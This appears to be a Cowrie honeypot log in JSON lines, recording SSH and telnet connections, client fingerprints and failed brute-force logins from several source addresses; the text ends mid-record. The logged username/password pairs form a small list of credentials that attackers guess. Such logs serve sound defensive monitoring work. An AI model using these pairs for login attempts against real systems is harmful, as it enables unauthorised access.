{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33650,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dd86580703d","protocol":"ssh","message":"New connection: 45.153.34.195:33650 (10.17.0.5:22) [session: 6dd86580703d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:25.952013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:26.120934Z","src_ip":"45.153.34.195","session":"6dd86580703d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:26.125830Z","src_ip":"45.153.34.195","session":"6dd86580703d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:26.515730Z","src_ip":"45.153.34.195","session":"6dd86580703d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:27.604087Z","src_ip":"45.153.34.195","session":"6dd86580703d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33656,"dst_ip":"10.17.0.5","dst_port":22,"session":"27f5c658a590","protocol":"ssh","message":"New connection: 45.153.34.195:33656 (10.17.0.5:22) [session: 27f5c658a590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:28.924949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:28.930388Z","src_ip":"45.153.34.195","session":"27f5c658a590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:29.025274Z","src_ip":"45.153.34.195","session":"27f5c658a590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ2WSX3EDC","message":"login attempt [root/1QAZ2WSX3EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:29.473986Z","src_ip":"45.153.34.195","session":"27f5c658a590","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:29.681100Z","src_ip":"91.92.40.36","session":"01fa2fb36a2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:29.686952Z","src_ip":"91.92.40.36","session":"01fa2fb36a2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":34390,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2d7e29af74","protocol":"ssh","message":"New connection: 91.92.40.36:34390 (10.17.0.5:22) [session: ce2d7e29af74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:29.852375Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@12345","message":"login attempt [root/Welcome@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:30.410871Z","src_ip":"27.71.230.31","session":"66748c00bec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:30.576271Z","src_ip":"45.153.34.195","session":"27f5c658a590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:31.636536Z","src_ip":"27.71.230.31","session":"66748c00bec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":33660,"dst_ip":"10.17.0.5","dst_port":22,"session":"54bb0258c3aa","protocol":"ssh","message":"New connection: 45.153.34.195:33660 (10.17.0.5:22) [session: 54bb0258c3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:31.855332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:31.859470Z","src_ip":"45.153.34.195","session":"54bb0258c3aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":42218,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6a020c294d0","protocol":"telnet","message":"New connection: 172.81.62.90:42218 (159.203.135.109:23) [session: e6a020c294d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:31.897649Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:31.946153Z","src_ip":"45.153.34.195","session":"54bb0258c3aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9090","message":"login attempt [root/9090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:32.101614Z","src_ip":"91.92.40.36","session":"58a03a7d4b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:32.218550Z","src_ip":"45.153.34.195","session":"54bb0258c3aa","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:32.635118Z","src_ip":"91.92.40.36","session":"ce2d7e29af74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:32.639381Z","src_ip":"91.92.40.36","session":"ce2d7e29af74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:33.324303Z","src_ip":"45.153.34.195","session":"54bb0258c3aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15708,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c6be1e42841","protocol":"ssh","message":"New connection: 45.153.34.195:15708 (10.17.0.5:22) [session: 4c6be1e42841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:34.844449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:34.848479Z","src_ip":"45.153.34.195","session":"4c6be1e42841","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:34.938138Z","src_ip":"45.153.34.195","session":"4c6be1e42841","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1","message":"login attempt [teamspeak/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:35.196083Z","src_ip":"45.153.34.195","session":"4c6be1e42841","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.1","message":"Connection lost after 20.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:35.664122Z","src_ip":"91.92.40.36","session":"58a03a7d4b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:36.279334Z","src_ip":"45.153.34.195","session":"4c6be1e42841","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":41536,"dst_ip":"10.17.0.5","dst_port":22,"session":"e995d7c860f1","protocol":"ssh","message":"New connection: 91.92.40.36:41536 (10.17.0.5:22) [session: e995d7c860f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:36.561635Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15712,"dst_ip":"10.17.0.5","dst_port":22,"session":"19a8a235949b","protocol":"ssh","message":"New connection: 45.153.34.195:15712 (10.17.0.5:22) [session: 19a8a235949b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:37.554551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:37.624790Z","src_ip":"45.153.34.195","session":"19a8a235949b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:37.714944Z","src_ip":"45.153.34.195","session":"19a8a235949b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1","message":"login attempt [ftpuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:38.114393Z","src_ip":"45.153.34.195","session":"19a8a235949b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:39.238397Z","src_ip":"45.153.34.195","session":"19a8a235949b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:39.825402Z","src_ip":"91.92.40.36","session":"e995d7c860f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:39.829039Z","src_ip":"91.92.40.36","session":"e995d7c860f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":15720,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b504426a273","protocol":"ssh","message":"New connection: 45.153.34.195:15720 (10.17.0.5:22) [session: 5b504426a273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:40.466013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:32:40.679247Z","src_ip":"45.153.34.195","session":"5b504426a273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS